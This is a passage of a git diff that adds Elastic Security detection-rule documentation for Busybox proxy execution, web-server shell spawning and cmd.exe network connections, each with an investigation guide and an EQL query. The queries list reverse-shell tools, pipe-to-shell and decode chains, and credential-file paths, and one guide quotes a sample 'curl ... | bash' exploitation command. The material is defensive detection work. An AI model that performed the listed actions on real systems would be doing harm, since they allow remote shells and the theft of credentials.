process.args:"/Q" and + process.args : "2>&1" and process.args: "1>" and + process.args : ("C:\\windows\\temp\\*.txt", "\\Windows\\Temp\\*", "-encodehex", "\\\\127.0.0.1\\C$\\Windows\\Temp\\*", "\\\\127.0.0.1\\ADMIN$\\__*.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-busybox-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-busybox-proxy.asciidoc new file mode 100644 index 0000000000..8b2e2852ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-busybox-proxy.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-suspicious-command-execution-via-busybox-proxy]] +=== Suspicious Command Execution via Busybox Proxy + +This rule detects the execution of command line arguments capable of spawning shells or establishing network connections through Busybox. This technique can be used to execute commands while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Execution via Busybox Proxy* + + +This rule flags Busybox being used as a proxy to launch shells or make outbound connections on Linux, a common way to hide command execution behind a trusted multi-call binary and slip past simple detections. An intruder can drop a script or binary in /tmp or /dev/shm, then run Busybox sh with /dev/tcp, nc, or openssl to establish a reverse shell and execute follow-on commands. + + +*Possible investigation steps* + + +- Reconstruct the full execution chain around the Busybox invocation to identify the initiating script or binary, the user or service account involved, and whether the parent came from a writable or ephemeral location such as /tmp, /dev/shm, or a hidden working directory. +- Retrieve and analyze any files or command artifacts referenced in the invocation, including shell scripts, dropped binaries, or inline payloads, and compare their hashes and prevalence against internal baselines and external reputation sources. +- Review adjacent host activity for follow-on behavior consistent with staging or hands-on-keyboard access, such as additional shell launches, curl or wget downloads, permission changes, archive extraction, credential access attempts, or persistence creation via cron, systemd, or startup scripts. +- Pivot to network telemetry from the same host and time window to determine whether Busybox or its descendants established outbound sessions, then validate the destination IPs, domains, ports, and protocols against expected business use and known benign infrastructure. +- Confirm whether the behavior is expected for the asset type, container image, or embedded tooling in use, and if the activity is not readily explained, isolate the host and collect volatile evidence such as active connections, running processes, loaded modules, and recent shell history. + + +*False positive analysis* + + +- Container or host startup scripts may invoke `busybox sh` with `nc`, `openssl`, or `/dev/tcp` from a temporary path to wait for a local dependency or perform a health check; verify the parent script is part of the expected image or boot workflow and that the destination is a known internal service. +- An administrator or automation task may stage a temporary script under `/tmp`, `/var/tmp`, or a user home directory that uses `busybox sh` to test port reachability or TLS negotiation during troubleshooting; confirm the initiating account and script contents against approved maintenance activity and check that no suspicious follow-on processes or outbound connections occurred. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, terminate the malicious `busybox` process and any spawned shells, and block the destination IPs, domains, and ports used by the outbound session or reverse shell. +- Preserve copies of the parent script or binary from locations such as `/tmp`, `/var/tmp`, or `/dev/shm`, then remove attacker persistence including cron jobs, `systemd` service files, `rc.local` changes, startup scripts, and unauthorized `authorized_keys` entries tied to the same activity. +- Reset passwords, revoke tokens, and rotate SSH keys or application secrets for any user or service account that launched Busybox or was exposed on the host, especially when shell history, environment files, or config files contained credentials. +- Reimage the host or restore it from a known-good baseline, verify trusted package integrity for replaced binaries and scripts, and return the system to service only after confirming no unexpected executables remain in writable or temporary directories. +- Escalate to incident response immediately if the Busybox session ran as `root`, reached an external address, created persistence beyond a single host, or if other systems show the same dropped script, destination, or follow-on shell activity. +- Harden the environment by restricting Busybox execution to approved administrative use, mounting temporary directories with `noexec` where feasible, limiting unnecessary outbound egress, and adding detections for shell-capable Busybox usage launched from temporary, hidden, or user-writable paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and +process.name == "busybox" and ( + process.args in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.command_line like ( + "*nc *", "*netcat*", "*openssl*", "*telnet*", "*exec*", "*import*pty*spawn*", "*import*subprocess*call*", "*socket*", + "*system*", "*io.popen*", "*os.execute*", "*fsockopen*", "*/inet/tcp/*", "*/dev/tcp/*", "*/dev/udp/*", "*nohup*", + "*setsid*", "*/dev/shm/*", "*ld-linux*.so*", "*/tmp/*", "*/var/tmp/*", "*rm*-rf*" + ) +) and ( + process.parent.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*", "/root/*" + ) or + process.parent.name like ".*" +) and not ( + process.parent.command_line in ("runc init", "/usr/local/bin/runc init") or + process.parent.executable == "./runc" or + process.parent.executable like ("/run/containerd/io.containerd.runtime.v2.task/k8s.io/*/bin/php", "/tmp/go-build*.test") or + process.command_line == "sh -c echo EXEC" or + process.parent.name in ("ninja_test", "ocamlrun", "ocamlopt.opt", "make", "process-wrapper") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..80e5e33299 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-execution-via-web-server.asciidoc @@ -0,0 +1,408 @@ +[[prebuilt-rule-8-19-34-suspicious-command-execution-via-web-server]] +=== Suspicious Command Execution via Web Server + +Identifies suspicious command executions via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Execution via Web Server* + + +This alert fires when a Linux web server launches a shell to run commands that look like exploitation activity, such as discovery, credential access, payload decoding, or reverse shell setup. That matters because web servers rarely need to spawn shell commands, so this behavior often signals command injection, a dropped web shell, or attacker persistence. A common pattern is an app exploit causing php-fpm or nginx to run `sh -c 'id; cat /etc/passwd; curl ... | bash'` from `/tmp`. + + +*Possible investigation steps* + + +- Review the full process ancestry and execution context to determine what application component invoked the shell, which service account ran it, what working directory and environment it used, and whether the command aligns with any documented application behavior. +- Correlate the execution time with web server access, error, and application logs to identify the triggering request, including source IP, requested URI, parameters, headers, authenticated user or session, and any indications of command injection or direct web shell access. +- Inspect recently created or modified files in the web root and writable locations such as upload, cache, temp, and shared-memory directories for dropped scripts, encoded payloads, cron changes, SSH key additions, or other persistence artifacts tied to the command. +- Scope for follow-on activity by pivoting on the source IP, command fragments, spawned children, outbound connections, and similar executions on other web servers to determine whether exploitation was successful, repeated, or part of a broader campaign. +- If the activity is unauthorized or cannot be explained, isolate the host, preserve relevant volatile and disk evidence, rotate secrets accessible to the web service, and remediate the vulnerable application or remove any discovered web shell before restoring service. + + +*False positive analysis* + + +- A legitimate web administration or diagnostics function may invoke `sh -c` to run commands such as `id`, `whoami`, `hostname`, or read OS metadata for status pages; verify the command matches documented application behavior and correlate it to an authorized request in web or application logs. +- A normal application workflow may use the web server to unpack user uploads or stage temporary content under `/tmp`, `/var/tmp`, or `/dev/shm` during import, conversion, or update operations; verify the execution aligns with a known user action or scheduled maintenance window and that the created files are expected temporary artifacts owned by the service account. + + +*Response and remediation* + + +- Isolate the affected web server from the network or remove it from the load balancer immediately, preserve a forensic snapshot if possible, and block the attacker-controlled IPs, domains, and downloaded payload locations observed in the command chain. +- Hunt for and remove persistence by deleting web shells and dropped scripts in the document root, uploads, `/tmp`, `/var/tmp`, and `/dev/shm`, and by cleaning unauthorized cron entries, systemd services, startup scripts, SSH `authorized_keys`, and any attacker-created local accounts. +- Reset trust on the host by rotating application secrets, database passwords, API tokens, cloud credentials, and SSH keys that were present or reachable from the web server, and invalidate active sessions tied to the compromised application. +- Rebuild or reimage the server from a known-good source, patch the exploited web application or server component, restore only validated content and configurations, and verify no unauthorized binaries, modified packages, or backdoored application files remain before returning it to service. +- Escalate to incident response immediately if the shell command opened a reverse shell, downloaded or piped a payload into an interpreter, accessed sensitive files such as `/etc/shadow`, `.ssh`, or cloud credential stores, or if similar activity is found on additional hosts. +- Harden the environment by removing unnecessary shell execution from the application, disabling write and execute permissions in web-accessible upload and temp paths, enforcing least privilege for the web service account, enabling WAF or virtual patching for the exploited weakness, and increasing monitoring on web roots and startup locations. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + ?process.working_directory like "/u0?/*" + ) + ) +) and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox") and +process.args in ("-c", "-cl", "-lc") and ( + process.command_line like~ ( + + /* Suspicious Paths */ + "* /tmp/* ", "* /var/tmp/* ", "* /dev/shm/*", "* /run/*", "* /var/run/*", + + /* Encoding, Decoding & Piping */ + "*|sh", "*| sh *", "*| sh ", "*|bash*", "*| bash*", "*|zsh*", "*| zsh*", "*|dash*", "*| dash*", + "*|python*", "*| python*", "*|php*", "*| php*", "*|perl*", "*| perl*", "*|ruby*", "*| ruby*", + "*|node*", "*| node*", "*|lua*", "*| lua*", "*|busybox*", "*| busybox*", "*|*base64 -d*", "*|*base64 --decode*", + "*|*base64 --decode*", "*|*openssl base64 -d*", "*xxd *", "*| openssl*enc * -d *", "*b64decode -r*", + + /* Interpreter Execution */ + "*python -c*", "*python3 -c*", "*php -r*", "*perl -e*", "*ruby -e*", "*lua -e*", "*node -e *", + + /* Reverse Shells */ + "*netcat *", "* nc *", "*ncat *", "*/dev/tcp*", "*/dev/udp/*", "*socat *", "*openssl*s_client *", "*stty*raw*-echo*", + "*mkfifo /tmp/*", + + /* File Access */ + "*>*/etc/cron*", "*crontab*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*/etc/shadow*", + "*/etc/passwd*", "*/etc/master.passwd*", + + /* Enumeration & Discovery */ + "*/etc/hosts*", "*/etc/resolv.conf*", "*/etc/hostname*", "*/etc/issue*", "*/etc/os-release*", "*lsb_release*", + "*/proc/*/environ*", "*sudo -l*", "*/proc/*/cgroup*", "*dockerenv*", "*/proc/*/mountinfo*", "*printenv*", + "*cat*.env *", "*getcap*", "*capsh*", "*find / *", "*netstat *", + + /* AWS Credentials */ + "*aws_access_key_id*", "*aws_secret_access_key*", "*aws_session_token*", "*accesskeyid*", "*secretaccesskey*", + "*.aws/credentials*", "*/.aws/config*", + + /* Azure Credentials */ + "*AZURE_CLIENT_ID*", "*AZURE_TENANT_ID*", "*AZURE_CLIENT_SECRET*", "*AZURE_FEDERATED_TOKEN_FILE*", + "*IDENTITY_ENDPOINT*", "*IDENTITY_HEADER*", "*MSI_ENDPOINT*", "*MSI_SECRET*", "*/.azure/*", + "*/run/secrets/azure/*", + + /* GCP Credentials */ + "*/.config/gcloud/*", "*application_default_credentials.json*", "*type: service_account*", + "*client_email*", "*private_key_id*", "*/run/secrets/google/*", "*GOOGLE_APPLICATION_CREDENTIALS*", + + /* Misc. Cloud */ + "*/.docker/config.json*", "*/.npmrc*", "*/secrets/kubernetes.io/serviceaccount/*", + + /* Helpers */ + "*timeout *sh -c *", "*env *sh *-c*", "*exec -a*", + + /* Miscellaneous */ + "*chattr *", "*busybox *", "*#!*", "*chmod +x *", "*chmod 777*", "*chpasswd*", + "**", "*kworker*", + + /* Decompression */ + "*gzip -*d *", "*bzip2 -*d *", "*xz -*d *", "*tar -*x*", + + /* Path Traversal */ + "*../../../*etc/*", "*/.../*", "*../../../*home/*/*", "*../../../*root/*", + + /* File Upload/Download */ + "*pastebin.com*", "*transfer.sh*", "*bashupload.com*", + + /* Enumeration & Discovery */ + "* id *", "* whoami *", "* hostname *" + ) or + /* Keep this to not miss FNs due to spacing */ + process.args in ("id", "whoami", "hostname") +) and +not ( + ( + process.parent.name == "nginx" and + process.args like ("chmod 777 /etc/resty-*", "resty*") + ) or + ( + process.parent.name == "apache2" and ( + process.command_line in ( + "sh -c /usr/local/bin/php -r 'echo phpversion();'", "sh -c -- /usr/local/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/lsb_release -a 2>/dev/null" + ) or + process.args like ( + """bash -c "( /home/*/apps/richdocumentscode/collabora/Collabora_Online.AppImage*""", + "chmod 777 /etc/cobra/uploads/mysql*", "stat*" + ) or + process.command_line like ( + "*/usr/bin/crontab*phpupdatecrontab.txt", "*mysqldump*/var/www/html/*/writable/uploads/backup/mysql*", + "sh -c chmod 777 -R /opt/data/www/php_upload/*/temp" + ) + ) + ) or + ( + process.parent.name like "php-fpm*" and ( + process.command_line in ( + "sh -c /usr/bin/php -r 'echo phpversion();'", "sh -c -- /usr/bin/php -r 'echo phpversion();'", + "sh -c php -r 'print_r(phpversion());'", "sh -c chattr -i -a /usr/local/virtualizor/license2.php", + "sh -c source /etc/os-release 2>/dev/null && echo $ID $ID_LIKE", + "sh -c php -r \"echo date('T');\"", + "sh -c php -r \"echo PHP_VERSION;\"" + ) or + process.command_line like ( + "*var_export*extension_loaded*", "*/tmp/tmp_resize*", "*/v1/objects/hosts/*_Infoterminal*", "*python -m json.tool*", + "sh -c timeout 3600 ssh -o ControlMaster=auto -o ControlPath=/var/www/html/storage/app/ssh/mux/*" + ) or + process.args like ("ps*|*grep*", "ffmpeg*") + ) + ) or + ( + process.parent.name == "php-cgi" and ( + process.command_line like ( + "sh -c nohup php /home/*/public_html/lockindex.php index.php >/dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-content/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-includes/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/*/wp-content/* >> /dev/null 2>&1 &", + "*-ef|grep*" + ) or + process.args like "ps*| grep*" + ) + ) or + ( + process.command_line == "/bin/sh -c echo | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" and + process.parent.name == "gunicorn" + ) or + ( + process.parent.executable == "/usr/local/bin/gunicorn" and + process.command_line == "/bin/sh -c echo 'Q' | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" + ) or + ( + process.parent.executable == "/opt/bitnami/apache/bin/httpd" and + process.command_line == "sh -c /opt/bitnami/php/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/containers/storage/overlay/*/merged/usr/local/sbin/php-fpm" and + process.command_line == "sh -c /usr/local/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/docker/overlay2/*/merged/usr/sbin/uwsgi" and + process.command_line == "/bin/sh -c { touch /run/uwsgi-logrotate }" + ) or + (process.parent.name like "python*" and process.parent.command_line like "*hive_server.py*") or + (process.parent.name == "sw-engine-fpm" and process.command_line like ("*/opt/psa/admin/bin/*", "*/usr/local/psa/admin/*")) or + (process.parent.name == "httpd" and process.command_line like ("*/datastore/htdocs/control-states/compass*", "*/dev/shm/netmon-log*")) or + (process.parent.name == "asterisk" and process.args like "/bin/chmod 777 */gravacoes/*.WAV") or + (process.parent.name == "nginx" and process.command_line like "sh -c gcc -print-multiarch 2>/dev/null > /tmp/lua_*") or + (process.parent.name == "varnishd" and process.args like "exec gcc*") or + (process.parent.name == "zabbix_server" and process.command_line like "*/usr/sbin/sendmail*") or + (process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and process.command_line like "*morpheus-local*") or + ( + process.parent.name == "ruby" and + process.command_line in ( + "sh -c echo \"^d\" | openssl s_client -connect 127.0.0.1:443 2>&1", + "sh -c cat /etc/hosts.allow 2>/dev/null" + ) + ) or + (process.parent.name == "java" and process.args like "chmod 777 *.csv") or + process.command_line == "sh -c node -v || nodejs -v" or + process.working_directory like ("/var/lib/puppet/rack/puppetmasterd", "/u01/app/*/sysman/emd") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-prompt-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-prompt-network-connection.asciidoc new file mode 100644 index 0000000000..9767d68385 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-command-prompt-network-connection.asciidoc @@ -0,0 +1,213 @@ +[[prebuilt-rule-8-19-34-suspicious-command-prompt-network-connection]] +=== Suspicious Command Prompt Network Connection + +Identifies a network connection by the command prompt (cmd.exe) when it is executed with specific arguments, such as a script or a URL, or when it is spawned by Microsoft Office applications. Adversaries often abuse cmd.exe to download malicious payloads or establish command and control channels from a remote source. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Prompt Network Connection* + + +This alert identifies a Windows `cmd.exe` process start event that is quickly followed by a network connection from the same `cmd.exe` instance (`process.entity_id`). The command line indicates scripted execution (batch files), references to remote resources (URL-like strings), or execution launched by a Microsoft Office application. This pattern can be used to download payloads, stage execution, or establish command and control. + + +*Triage and analysis steps* + + +- Confirm the matched sequence and keep analysis tied to the correct process instance: + - Use the `Investigate in timeline` button in the Alerts table or pivot on `process.entity_id` to review both the process start event and the associated network event(s). + - Example KQL pivots: + - `process.entity_id:"" and event.category:process` + - `process.entity_id:"" and event.category:network` + +- Determine why `cmd.exe` matched and assess intent: + - Review `process.args` to confirm the interpreter switch (`/c` to execute and exit, `/k` to remain open). + - Identify which match condition applies: + - Batch script: `process.args` includes a `.bat` or `.cmd` reference. + - Remote resource: `process.command_line` contains `http://`, `https://`, or `ftp://`. + - Office parent: `process.parent.name` is one of `winword.exe`, `excel.exe`, `powerpnt.exe`, `outlook.exe`, `msaccess.exe`, or `mspub.exe`. + - Look for staging or obfuscation patterns in `process.command_line` (for example: `&`/`&&`/`||`, pipes `|`, redirection `>`/`>>`, escaping `^`, environment variables, or long encoded strings). + +- Validate the execution context and launch vector: + - Review `user.*` fields to determine who ran the command and whether it is expected for the host role. + - Review `process.parent.name` (and `process.parent.command_line` if available) to understand the initial trigger: + - Office parent: prioritize identifying the initiating document or message and any user interaction around `@timestamp`. + - Management tooling or installer parent: validate change control and whether the command line and destination are consistent with that software. + - If a batch script is referenced, locate the script on the host (if telemetry allows) and capture path and hash (`file.path`, `file.hash.sha256`) for scoping. + +- Analyze the outbound destination: + - Review `destination.ip` and `destination.port` for expectedness (business relationship, known vendor, or organization-owned public IP space). + - Note: the rule excludes common private and reserved address ranges, but it can still alert on connections to legitimate public services. + - Pivot on `destination.ip` to identify other hosts contacting the same destination near `@timestamp`: + - `destination.ip:"" and event.category:network` + - Check whether the same `process.entity_id` generated repeated connections (potential beaconing) versus a single connection (one-time retrieval). + +- Reconstruct follow-on activity and potential impact: + - Identify child processes spawned by `cmd.exe` and look for common follow-on tooling (for example: `powershell.exe`, `mshta.exe`, `rundll32.exe`, `regsvr32.exe`, `certutil.exe`, `bitsadmin.exe`, 